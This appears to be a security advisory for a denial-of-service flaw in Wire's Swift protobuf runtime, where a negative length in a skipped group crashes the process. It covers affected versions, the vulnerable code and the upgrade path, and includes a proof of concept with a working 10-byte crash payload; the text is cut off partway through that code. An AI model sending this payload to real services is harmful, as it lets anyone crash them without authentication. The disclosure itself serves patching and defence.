logo

Database

Lack of data validation In github.com/square/wire

Description

Wire Swift runtime: negative LENGTH_DELIMITED length in skipGroup() crashes any protobuf-decoding service ### Summary Wire's Swift runtime (Wire SPM/CocoaPods product, implemented by wire-runtime-swift) did not reject a negative LENGTH_DELIMITED field length while skipping an unknown protobuf group. A crafted 10-byte protobuf payload could cause ProtoReader.skipGroup() to read a length-delimited field whose varint decodes to a negative Int32. That negative value was then passed to ReadBuffer.readData(count:). ReadBuffer checked only that the requested read did not go past the end of the buffer. It did not reject negative counts. As a result, a negative count could pass the bounds check and reach Foundation's Data(bytes:count:), which traps and aborts the process (Signal 5 / SIGTRAP) instead of throwing Wire's documented ProtoDecoder.Error. This is the Swift sibling of the Kotlin/JVM negative-length-in-skipGroup() issue fixed in com.squareup.wire:wire-runtime 6.3.0 (CVE-2026-45799, GHSA-7xpr-hc2w-34m9). That earlier fix added a length < 0 rejection to the Kotlin readers. The functionally similar Swift ProtoReader.skipGroup() path was not covered by that fix and remained vulnerable in released Swift runtime versions through 6.4.0, and in Wire 7 alpha releases through 7.0.0-alpha03. The issue is fixed for the supported 6.x release line in Wire 6.4.1. skipGroup() runs for any unknown field with wire type 3 (START_GROUP), so no schema knowledge is required. A service decoding any message type with ProtoDecoder.decode(_:from:) over untrusted bytes can be reached by sending an unknown group field. ### Impact Denial of service. A single 10-byte attacker-controlled protobuf payload can abort the process with an unrecoverable runtime trap. Callers following Wire's documented Swift API generally expect ProtoDecoder.decode(_:from:) to throw catchable decoding errors such as ProtoDecoder.Error. They cannot catch a SIGTRAP from Foundation's Data(bytes:count:). Any Swift process that decodes untrusted protobuf data with Wire's Swift runtime may be affected. Examples include iOS, macOS, or server-side Swift applications that accept protobuf request bodies, websocket frames, stored messages, queue payloads, files, or any other attacker-controlled serialized protobuf bytes. The vulnerability requires: - The application decodes untrusted protobuf bytes with Wire's Swift runtime. - The attacker can provide a protobuf payload containing an unknown START_GROUP field. - That group contains a LENGTH_DELIMITED field whose encoded length decodes to a negative signed 32-bit value. The attacker does not need: - Authentication. - User interaction. - Knowledge of the target message schema. - A valid known field number in the target schema. ### Affected Products #### Swift Package Manager / CocoaPods Wire Affected versions: - All released Swift runtime versions through 6.4.0. - Wire 7 alpha releases through 7.0.0-alpha03. Patched versions: - 6.4.1 for the supported 6.x release line. - 7.0.0-alpha04 for the 7.x alpha line (the first 7.x release containing PR #3616). Recommended action: - Upgrade to Wire 6.4.1 or later on the supported stable line. - If using a Wire 7 alpha release, upgrade to 7.0.0-alpha04 or a later 7.x release containing PR #3616. ### Vulnerable Code The vulnerable code was in wire-runtime-swift/src/main/swift/ProtoCodable/ProtoReader.swift, skipGroup(expectedEndTag:unknownFieldsWriter:): swift case .lengthDelimited: let length = try Int32(truncatingIfNeeded: buffer.readVarint()) // can be negative, e.g. -128 state = .lengthDelimited(length: Int(length)) let data = try readData() // no length >= 0 check try unknownFieldsWriter.encode(tag: tag, value: data) ProtoReader.readData() then forwarded the stored negative length to the buffer: swift func readData() throws -> Data { guard case let .lengthDelimited(length) = state else { fatalError("Decoding field as length delimited when key was not LENGTH_DELIMITED") } state = .tag return try buffer.readData(count: length) // count = -128 } The bounds check in wire-runtime-swift/src/main/swift/ProtoCodable/ReadBuffer.swift checked only the upper bound. A negative count could pass this guard and then be handed to Foundation: swift func verifyAdditional(count: Int) throws { guard pointer.advanced(by: count) <= end else { // pointer + (-128) <= end is true throw ProtoDecoder.Error.unexpectedEndOfData } } func readData(count: Int) throws -> Data { try verifyAdditional(count: count) // negative count passes the guard let data = Data(bytes: pointer, count: count) // Data(bytes:count:) with count = -128 traps pointer = pointer.advanced(by: count) return data } The normal typed length-delimited decode path is comparatively shielded by other state transitions. The schema-agnostic unknown-group skip path was the important path because it threaded an unvalidated signed length into ReadBuffer.readData(count:). ### How Input Reaches the Sink The reachable decoding path is: text ProtoDecoder.decode(_:from:) -> message init(from: ProtoReader) -> ProtoReader.nextTag(token:) -> ProtoReader.skipGroup(expectedEndTag:unknownFieldsWriter:) -> ProtoReader.readData() -> ReadBuffer.readData(count:) -> Data(bytes:count:) When ProtoReader.nextTag(token:) sees an unknown field with wire type START_GROUP, it calls the private skipGroup(...) helper. Inside that skipped group, an inner LENGTH_DELIMITED field with a negative varint length reaches readData(), then ReadBuffer.readData(count:), then Data(bytes:count:). The outer field number is arbitrary. The proof of concept uses field 99, but the field does not need to exist in the target schema because unknown-field skipping is schema-agnostic. ### Proof Of Concept The following proof of concept demonstrates the vulnerable behavior. It uses an empty ProtoDecodable message that treats every field as unknown, so an unknown START_GROUP field drives ProtoReader.nextTag(token:) into the private skipGroup() implementation. Package.swift: swift // swift-tools-version:5.9 import PackageDescription let package = Package( name: "poc", platforms: [.macOS(.v12)], dependencies: [ .package(url: "https://github.com/square/wire.git", exact: "6.4.0") ], targets: [ .executableTarget( name: "poc", dependencies: [.product(name: "Wire", package: "wire")], path: "Sources/poc" ) ] ) Sources/poc/main.swift: ```swift import Foundation import Wire func log(_ s: String) { FileHandle.standardError.write((s + "\n").data(using: .utf8)!) } // A ProtoDecodable message that treats every field as unknown. An unknown // START_GROUP field drives ProtoReader.nextTag() into the private skipGroup(). struct EmptyMessage: ProtoDecodable { static var protoSyntax: ProtoSyntax? { .proto2 } init() {} init(from reader: ProtoReader) throws { let token = try reader.beginMessage() while let _ = try reader.nextTag(token: token) {} let _: UnknownFields = try reader.endMessage(token: token) } } // hex 9b06 0a 80ffffff0f 9c06 // 0x9B 0x06 field 99, wire type 3 (START_GROUP) // 0x0A field 1, wire type 2 (LENGTH_DELIMITED) inside group // 0x80 0xFF 0xFF 0xFF 0x0F 5-byte varint decoding to signed Int32 = -128 // 0x9C 0x06 field 99, END_GROUP let attackerPayload = Data([0x9B, 0x06, 0x0A, 0x80, 0xFF, 0xFF, 0xFF, 0x0F, 0x9C, 0x06]) // Negative control: same group, inner length-delimited field has valid length 0. let benignPayload = Data([0x9B, 0x06,

Mitigation

Update Impact

Minimal update. May introduce new vulnerabilities or breaking changes.

Ecosystem
Component
Affected version
Patched versions